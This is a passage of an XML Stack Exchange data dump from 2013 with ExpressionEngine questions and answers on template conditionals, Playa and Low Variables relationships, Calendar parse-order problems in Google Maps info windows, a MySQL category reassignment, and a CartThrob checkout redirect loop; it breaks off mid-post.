  <row Id="10548" PostTypeId="1" AcceptedAnswerId="10551" CreationDate="2013-05-20T18:47:15.360" Score="0" ViewCount="849" Body="&lt;p&gt;I have the following code in a template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;segment is: {segment_3} &amp;lt;br /&amp;gt; &#xA;category is: {category_url_title}&amp;lt;br /&amp;gt;&#xA;{if {segment_3} == {category_url_title}}&#xA;submenu goes here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gives the following output for categories that do not match the URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;segment is: evaporated-apples&#xA;category is: frozen-apples &#xA;submenu goes here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I compare to a string literal, e.g., &lt;code&gt;{segment_3} == &quot;bacon&quot;&lt;/code&gt;, the conditional returns false. Why does comparing two variables that contain different strings return true?&lt;/p&gt;&#xA;" OwnerUserId="1518" LastActivityDate="2013-05-20T19:29:19.853" Title="If statement comparing two string ee variables won't return false" Tags="|conditionals|categories|segments|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10549" PostTypeId="1" CreationDate="2013-05-20T19:02:02.923" Score="0" ViewCount="123" Body="&lt;p&gt;I've used Playa on a large number of sites and haven't seen this issue, so I'm wondering if anyone has ever seen this before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just installed Playa on an existing site running EE 2.5.3 and using Playa 4.4.3. I've set up a Playa field to show results from a single channel and to only show results from two of the categories that are assigned to that channel. If an entry in the related channel is tagged with both of the categories then it shows up twice on the left side of the Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this instance, the Playa field is pulling in results from a Sponsors and Exhibitors channel. This channel has two categories so an entry can be marked as either a Sponsor, an Exhibitor, or both. If an entry is marked with both the Sponsor and Exhibitor category, then it shows up twice in the Playa field. If I remove one of the categories, then it shows up only once in the Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2013-05-20T19:02:02.923" Title="Duplicate entries in Playa field" Tags="|playa|pixelandtonic|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10550" PostTypeId="1" CreationDate="2013-05-20T19:10:08.833" Score="1" ViewCount="83" Body="&lt;p&gt;Ok, let's see if I can explain this question, I have a channel with a playa field which refers to channel which has other playa fields in it that I want to display on the given page. How do call the other playa field? on that playa selections channel since just calling them doesn't work of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get about this far, but don't know the next step?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;FROM CHANNEL A&quot;}&#xA;    {title}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi Lisa, Thanks for responding I am somewhat new to playa and even to EE itself lets see if I can explain this better.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel called &quot;data_entry&quot; with a playa list &lt;code&gt;{location_source}&lt;/code&gt; the items on the list refer to another channel called &quot;locations&quot; which contains another playa field called &lt;code&gt;{second_order_location}&lt;/code&gt; that I want to display right before the &lt;code&gt;{title}&lt;/code&gt; of the first playa list. Does that make sense?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;location_source&quot;}&#xA;    {if first_order_location_parent}{first_order_location},{/if} &#xA;    {title}&#xA;{/exp:playa:children} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;I wrote &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {exp:playa:children channel=&quot;data_entry&quot; var_prefix=&quot;data_entry&quot;}&#xA;        {data_entry:exp:playa:children channel=&quot;nwt_locations&quot; var_prefix=&quot;first_order_location_parent&quot;}&#xA;            {data_entry:title} - {first_order_location_parent:title}&#xA;        {/data_entry:exp:playa:children} &#xA;      {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I get is the same as if I wrote {title} am I missing something? I am not sure what to do about the parameters. Thanks So much for time&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="1526" LastEditDate="2013-05-21T02:23:21.873" LastActivityDate="2013-06-20T02:39:42.233" Title="playa refering to another playa" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10551" PostTypeId="2" ParentId="10548" CreationDate="2013-05-20T19:29:19.853" Score="3" Body="&lt;p&gt;In your case, you were comparing 2 variables (string) without quotes so both variables will be considered as TRUE i.e &lt;code&gt;{if TRUE == TRUE} #### {/if}&lt;/code&gt;. In the same way when you put a single variable tag in if condition like &lt;code&gt;{if variable_name} #### {/if} OR {if {variable_name}} #### {/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the quotes (single or double), EE considers the variable/s tag value as single string value and get compared correctly like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_3}&quot; == &quot;{category_url_title}&quot;} ###### {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-20T19:29:19.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10552" PostTypeId="1" AcceptedAnswerId="10589" CreationDate="2013-05-20T19:45:52.697" Score="0" ViewCount="152" Body="&lt;p&gt;I've got a Wygwam field that's using Assets for image uploads. I can upload images and they display fine in the entry form, but when I save the entry and then go look at it on the front end, the image URL is wrong. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Correct URL: /uploads/news/Picture_5.png&#xA;Actual URL: /uploads/news/Picture_5.pngPicture_5.png%7D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The strange thing is if I go back into the entry and just resave it, it fixes the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the latest versions of Assets, Wygwam, and EE.&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2013-05-21T13:57:23.190" Title="Assets + Wygwam: Wrong URL on Front End" Tags="|assets|wygwam|image|uploads|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10553" PostTypeId="2" ParentId="10530" CreationDate="2013-05-20T19:49:09.583" Score="1" Body="&lt;p&gt;Yep.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;your_custom_field_name&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you're using safecracker to edit, this is what I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;your_custom_field_name&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;1&quot;{if '{your_custom_field_name}'=='1'} selected{/if}&amp;gt;1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2&quot;{if '{your_custom_field_name}'=='2'} selected{/if}&amp;gt;2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="827" LastActivityDate="2013-05-20T19:49:09.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10554" PostTypeId="1" CreationDate="2013-05-20T19:58:13.673" Score="0" ViewCount="192" Body="&lt;p&gt;I am utilizing a combination of Solspace 'Calendar', 'Playa', and 'Google Maps for ExpressionEngine'. I'm having a strange issue where the dates aren't showing up correctly in my infowindows on the Google Map, but they show up fine using the same code outside of the infowindow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have a 'Location' channel, and an 'Event' channel. The Event channel is associated with the Calendar module, and uses a Playa single relationship field to relate it to a Location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am adding markers to the map for every 'Location', and for each marker, I'm populating the infowindow with the Location details. this includes using the Playa:Parents method to show all of the events that are at that location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the code from the Solspace Calendar demo template for a single event to show the event date, because it had all the conditionals all worked out to deal with single day or multi-day events well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that in the infowindow, it's only showing the 'From' date, and not the 'To' part of the date string. It shows it correctly when I output it outside of the map, though. Here is the code that is outputting the date information. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:calendar:events}&#xA;    &amp;lt;b&amp;gt;From:&amp;lt;/b&amp;gt; {event_first_date format=&quot;%F %j, %Y at %g:%i%a&quot;}&#xA;    {if event_never_ends}&#xA;        (never ends)&#xA;    {if:else}&#xA;        {if &quot;{event_first_date format='%Y%m%d%g%i%a'}&quot; != &quot;{event_last_date format='%Y%m%d%g%i%a'}&quot;} &amp;lt;b&amp;gt;to:&amp;lt;/b&amp;gt;&#xA;            {if &quot;{event_first_date format=&quot;%Y%m%d&quot;}&quot; != &quot;{event_last_date format=&quot;%Y%m%d&quot;}&quot;}&#xA;                {event_last_date format=&quot;%l, %F %j, %Y at %g:%i%a&quot;}&#xA;            {if:else}&#xA;                {event_last_date format=&quot;%g:%i%a&quot;}&#xA;            {/if}&#xA;        {/if}&#xA;    {/if}&#xA;    &amp;lt;a href=&quot;{path=find-music/event/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is how it outputs, in the infowindow, and outside of the map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(crap, I don't have enough 'reputation' to post the image here, but it's here: &lt;a href=&quot;http://paleosun.com/misc/stackexchange-map-calendar-question.jpg&quot; rel=&quot;nofollow&quot;&gt;http://paleosun.com/misc/stackexchange-map-calendar-question.jpg&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice, the section below the map has the &quot;to&quot; date. Same code is used to output it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have determined that something is going wrong with the quotes in the event date formatting tags. The &lt;code&gt;{if &quot;{event_first_date format='%Y%m%d%g%i%a'}&quot; != &quot;{event_last_date format='%Y%m%d%g%i%a'}&quot;}&lt;/code&gt; part is never resolving to 'true' like it should. In fact, If I just try to output &lt;code&gt;{event_first_date format='%Y%m%d%g%i%a'}&lt;/code&gt; in the infowindow part, nothing show up. However, if I use double quotes and output &lt;code&gt;{event_first_date format=&quot;%Y%m%d%g%i%a&quot;}&lt;/code&gt; it DOES work. The problem is, I cannot use that fix in the conditional, because double quotes are already being used around the output of that tag...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why? Or what I can do as a work-around?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is all of my relevant template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init&#xA;    id=&quot;mainmap&quot;&#xA;    class=&quot;gmap&quot;&#xA;    style=&quot;height:600px;width:100%; border: 1px solid green;&quot;&#xA;    center=&quot;United States&quot;&#xA;    zoom=&quot;4&quot;&#xA;}&#xA;&#xA;&amp;lt;div id=&quot;location-container&quot;&amp;gt;&#xA;    {exp:channel:entries&#xA;        channel=&quot;location&quot;&#xA;        disable=&quot;member_data|pagination|category_fields&quot;&#xA;        limit=&quot;9999&quot;&#xA;        }&#xA;&#xA;        {if loc_show_on_map == 'yes'}&#xA;&#xA;            {exp:gmap:marker&#xA;                id=&quot;mainmap&quot;&#xA;                latitude=&quot;{loc_latitude}&quot;&#xA;                longitude=&quot;{loc_longitude}&quot;&#xA;                geocode=&quot;false&quot;&#xA;                clustering=&quot;true&quot;&#xA;                infobox=&quot;true&quot;&#xA;                show_one_window=&quot;true&quot;&#xA;                class=&quot;ui-infobox-dark ui-infobox&quot;&#xA;                offsetY=&quot;-45&quot;&#xA;                offsetX=&quot;15&quot;&#xA;                icon=&quot;{categories limit='1'}{category_image}{/categories}&quot;&#xA;                }&#xA;&#xA;                &amp;lt;div style=&quot;width: 400px;&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{path=find-music/location/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        {categories}&#xA;                            &amp;lt;li&amp;gt;{category_name}&amp;lt;/li&amp;gt;&#xA;                        {/categories}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;&#xA;                    {if loc_image}&amp;lt;img src=&quot;{loc_image}&quot; alt=&quot;{title} image&quot; width=&quot;200&quot; class=&quot;right&quot; /&amp;gt;{/if}&#xA;                    {loc_contact_first_name} {loc_contact_last_name}&amp;lt;br /&amp;gt;&#xA;                    {loc_street_address} {if loc_address_details}{loc_address_details}{/if}&amp;lt;br /&amp;gt;&#xA;                    {loc_city_town}, {loc_state} {loc_zip_code}&amp;lt;br /&amp;gt;&#xA;&#xA;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                    {exp:playa:parents channel=&quot;calendar_events&quot;}&#xA;                        &amp;lt;li&amp;gt;&#xA;                            {exp:calendar:events}&#xA;                                &amp;lt;b&amp;gt;From:&amp;lt;/b&amp;gt; {event_first_date format=&quot;%F %j, %Y at %g:%i%a&quot;}&#xA;&#xA;                        &amp;lt;br /&amp;gt;From:{event_first_date format='%Y%m%d%g%i%a'}&#xA;                        &amp;lt;br /&amp;gt;To: {event_last_date format='%Y%m%d%g%i%a'}!&#xA;                        Yes&#xA;                                {if event_never_ends}&#xA;                                    (never ends)&#xA;                                {if:else}&#xA;                                    {if &quot;{event_first_date format='%Y%m%d%g%i%a'}&quot; != &quot;{event_last_date format='%Y%m%d%g%i%a'}&quot;} &amp;lt;b&amp;gt;to:&amp;lt;/b&amp;gt;&#xA;                                        {if &quot;{event_first_date format=&quot;%Y%m%d&quot;}&quot; != &quot;{event_last_date format=&quot;%Y%m%d&quot;}&quot;}&#xA;                                            {event_last_date format=&quot;%l, %F %j, %Y at %g:%i%a&quot;}&#xA;                                        {if:else}&#xA;                                            {event_last_date format=&quot;%g:%i%a&quot;}&#xA;                                        {/if}&#xA;                                    {/if}&#xA;                                {/if}&#xA;                                &amp;lt;a href=&quot;{path=find-music/event/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                            {/exp:calendar:events}&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    {/exp:playa:parents}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            {/exp:gmap:marker}&#xA;&#xA;            {!--&#xA;                custom javascript to add attributes to the markers&#xA;                for location type and music styles, so we can filter&#xA;                based on that&#xA;            --}&#xA;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                if(typeof newMarker!='undefined'){&#xA;                    newMarker.entry_id = {entry_id};&#xA;                    newMarker.music_styles = [];&#xA;                    {exp:playa:children field=&quot;loc_music_styles&quot;}&#xA;                        newMarker.music_styles.push({entry_id});&#xA;                    {/exp:playa:children}&#xA;&#xA;                    newMarker.location_types = [];&#xA;                    {categories}&#xA;                        newMarker.location_types.push({category_id});&#xA;                    {/categories}&#xA;                }&#xA;            &amp;lt;/script&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;div id=&quot;location-{entry_id}&quot;  class=&quot;location-entry clearfix&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{path=find-music/location/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            {if loc_image}&amp;lt;img src=&quot;{loc_image}&quot; alt=&quot;{title} image&quot; width=&quot;200&quot; class=&quot;right&quot; /&amp;gt;{/if}&#xA;            {loc_contact_first_name} {loc_contact_last_name}&amp;lt;br /&amp;gt;&#xA;            {loc_street_address} {if loc_address_details}{loc_address_details}{/if}&amp;lt;br /&amp;gt;&#xA;            {loc_city_town}, {loc_state} {loc_zip_code}&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;ul&amp;gt;&#xA;            {exp:playa:parents channel=&quot;calendar_events&quot;}&#xA;                &amp;lt;li&amp;gt;&#xA;                    {exp:calendar:events}&#xA;                        &amp;lt;b&amp;gt;From:&amp;lt;/b&amp;gt; {event_first_date format=&quot;%F %j, %Y at %g:%i%a&quot;}&#xA;                        {if event_never_ends}&#xA;                            (never ends)&#xA;                        {if:else}&#xA;                            {if &quot;{event_first_date format='%Y%m%d%g%i%a'}&quot; != &quot;{event_last_date format='%Y%m%d%g%i%a'}&quot;} &amp;lt;b&amp;gt;to:&amp;lt;/b&amp;gt;&#xA;                                {if &quot;{event_first_date format=&quot;%Y%m%d&quot;}&quot; != &quot;{event_last_date format=&quot;%Y%m%d&quot;}&quot;}&#xA;                                    {event_last_date format=&quot;%l, %F %j, %Y at %g:%i%a&quot;}&#xA;                                {if:else}&#xA;                                    {event_last_date format=&quot;%g:%i%a&quot;}&#xA;                                {/if}&#xA;                            {/if}&#xA;                        {/if}&#xA;                        &amp;lt;a href=&quot;{path=find-music/event/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                    {/exp:calendar:events}&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/exp:playa:parents}&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- /#location-container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-07-24T18:32:23.010" Title="Parse order and/or single/double quote issue with Calendar events and Google Map Info Window" Tags="|playa|parse-order|google-maps-for-ee|calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10555" PostTypeId="2" ParentId="10554" CreationDate="2013-05-20T20:12:28.797" Score="1" Body="&lt;p&gt;I am not sure of a workaround, but that is definitely a parse order issue. Given this is a very unique scenario, it would be rather difficult to duplicate without getting access to your EE install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email support@objectivehtml.com and I can try to help you find a workaround. I am not sure who this support requests belongs to, me (Objective HTML), P&amp;amp;T, or Solspace but I can try to help you. :)&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-20T20:12:28.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10556" PostTypeId="2" ParentId="10550" CreationDate="2013-05-20T20:58:06.000" Score="1" Body="&lt;p&gt;Edited answer based on the OP edited answer :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;news&quot;}&#xA;    &amp;lt;h3&amp;gt;Article Media&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:playa:children channel=&quot;news&quot; var_prefix=&quot;news&quot;}&#xA;            {news:exp:playa:children channel=&quot;editors&quot; var_prefix=&quot;editor&quot;}&#xA;                {news:title} - {editor:title}&#xA;            {/news:exp:playa:children}&#xA;    {/exp:playa:children}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is directly from the example for var_prefix here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/playa/templating/module/children.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to update your channel= parameters, and if you want to change the var prefixes, make sure you change them wherever they're referenced.  Does that help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa, P&amp;amp;T&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-05-20T21:50:03.103" LastActivityDate="2013-05-20T21:50:03.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10557" PostTypeId="2" ParentId="6837" CreationDate="2013-05-20T22:07:08.207" Score="2" Body="&lt;p&gt;I know that channel files has an import function. Same with channel images if you needed that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might not be much of a useful answer, but it might be worth a chat with DevDemon. I haven't used the import feature yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I am aware, you'll need create a list of entry ids, urls etc. Then you can import. You might need Export It or another exporting addon to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully it will halp and might be the way to go.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-20T22:07:08.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10558" PostTypeId="1" AcceptedAnswerId="10560" CreationDate="2013-05-20T22:09:35.327" Score="0" ViewCount="729" Body="&lt;p&gt;I have a channel, products, with a URL structure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/product/description/categoryA&#xA;/product/description/item-in-categoryA&#xA;/product/description/item-in-categoryA2&#xA;/product/description/item-in-categoryA3&#xA;/product/description/categoryB&#xA;/product/description/item-in-categoryB&#xA;/product/description/item-in-categoryB2&#xA;/product/description/item-in-categoryB3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I am on, for example, &lt;code&gt;/product/description/item-in-categoryB3&lt;/code&gt;, I want to indicate that &lt;code&gt;categoryB&lt;/code&gt; is the current category. However, I cannot find a way to do this. I have tried {if active}, which never returns true whether I am inside channel categories or channel entries (using version 2.5x). I have tried inspecting the URL segment but I cannot rely on this when I am on an item's page as the category does not appear in the URL.&lt;/p&gt;&#xA;" OwnerUserId="1518" LastActivityDate="2013-05-20T23:31:42.543" Title="Get current category of channel entry corresponding to current URL" Tags="|conditionals|structure|url|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10559" PostTypeId="1" CreationDate="2013-05-20T22:31:41.177" Score="1" ViewCount="170" Body="&lt;p&gt;Looking for help doing what I hope is a simple task.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have approximately 2500 entries that are need to be reclassified (choose new category ID).  I am hoping that a simple MySQL script can identify all the records with a certain category id, and then change the record from that id - to a different id.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Of course if there is an easier way than a script, let me know!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need to change all the entries that have ID:2 - to ID:4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks EE community!&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2013-05-20T23:39:16.863" Title="MySQL - Change Entry Category ID?" Tags="|categories|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10560" PostTypeId="2" ParentId="10558" CreationDate="2013-05-20T23:31:42.543" Score="1" Body="&lt;p&gt;If you're successfully showing the entry's data then you should be able to call the categories from within the channel:entries tag loop with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;categories loop&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}{category_name}{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that working for you?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-20T23:31:42.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10561" PostTypeId="2" ParentId="10559" CreationDate="2013-05-20T23:39:16.863" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Perform DB backup incase this goes wrong.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Execute the follow statement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;UPDATE exp_category_posts SET cat_id = 4 WHERE cat_id = 2&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-20T23:39:16.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10562" PostTypeId="1" CreationDate="2013-05-20T23:40:07.953" Score="1" ViewCount="179" Body="&lt;p&gt;I have just updated to Playa 4.4.3. I read there was bug with Low Variables and Playa, and that it was supposed to be fixed on the new Playa release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't get Playa to work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried many many things. This is my basic code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_sidebar&quot; multiple=&quot;yes&quot;}&#xA;  {title}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1530" LastEditorUserId="69" LastEditDate="2013-05-24T11:44:51.077" LastActivityDate="2013-06-05T00:05:15.767" Title="Playa not working with Low Variables" Tags="|playa|low-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10563" PostTypeId="2" ParentId="10562" CreationDate="2013-05-21T00:42:58.510" Score="4" Body="&lt;p&gt;There is a bit of a bug in Playa that impacts Low Variables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exp_playa_relationships has parent_var_id field. It's supposed to be either 0 or 1. Low Variables sets it to NULL due to an oversight in our code. The solution  was to set the column to 0 for rows, that were not 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll have a fix for this included in Playa in the future, but for right now, modifying your database that way should fix this.  Alternatively, there is a &lt;a href=&quot;https://expressionengine.stackexchange.com/a/10476/563&quot;&gt;temporary hack&lt;/a&gt; you can utilize which doesn't require muddling in the database,  and will be overwritten in the fixed version of Playa.&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-21T00:42:58.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10565" PostTypeId="1" AcceptedAnswerId="10591" CreationDate="2013-05-21T00:50:36.310" Score="0" ViewCount="132" Body="&lt;p&gt;I am using clear_cart to clear the cart when a completed order returns to the site from Paypal Express. The Shop page has a link to /checkout to go make a purchase using the Paypal express gateway. The checkout_form returns from Paypal to &quot;checkout/order_status&quot; and is supposed to display one of the following messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting a &quot;too many redirects&quot; error (error 310) anytime I try to go to /checkout because the clear_cart tag is rendering and redirecting whether a transaction has been authorized or not. I can't even get to the checkout page usually to check my cart and be sent to Paypal. I have cleared the EE cache as well as Chrome cache multiple times with no success. Why is this tag acting when there is no order_status in segment_2 and also causing an infinite redirect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full code I am using on the checkout page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- VIEW CART CONTENTS --}&#xA;                {exp:cartthrob:cart_items_info limit=&quot;1&quot;}&#xA;                    {if no_results}&#xA;                        &amp;lt;p&amp;gt;There is nothing in your cart yet&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;ul class=&quot;cart-table&quot;&amp;gt;&#xA;                        {exp:cartthrob:cart_info}&#xA;                        &amp;lt;li&amp;gt;Total Items: &amp;lt;span&amp;gt;{total_items}&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;Subtotal: &amp;lt;span&amp;gt;{cart_subtotal}&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;Shipping: &amp;lt;span&amp;gt;{exp:cartthrob:cart_shipping}&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;Tax Rate: &amp;lt;span&amp;gt;{cart_tax_rate}&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;Tax: &amp;lt;span&amp;gt;{cart_tax}&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;p class=&quot;lead&quot;&amp;gt;&amp;lt;strong&amp;gt;Total: &amp;lt;span&amp;gt;{cart_total}&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/exp:cartthrob:cart_info}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                {/exp:cartthrob:cart_items_info}&#xA;{!-- Current items --}&#xA;                {exp:cartthrob:cart_items_info}&#xA;                    {if no_results}&#xA;                        &amp;lt;p&amp;gt;You have nothing in your cart. &amp;lt;a class=&quot;blue&quot; href=&quot;/shop&quot;&amp;gt;GO 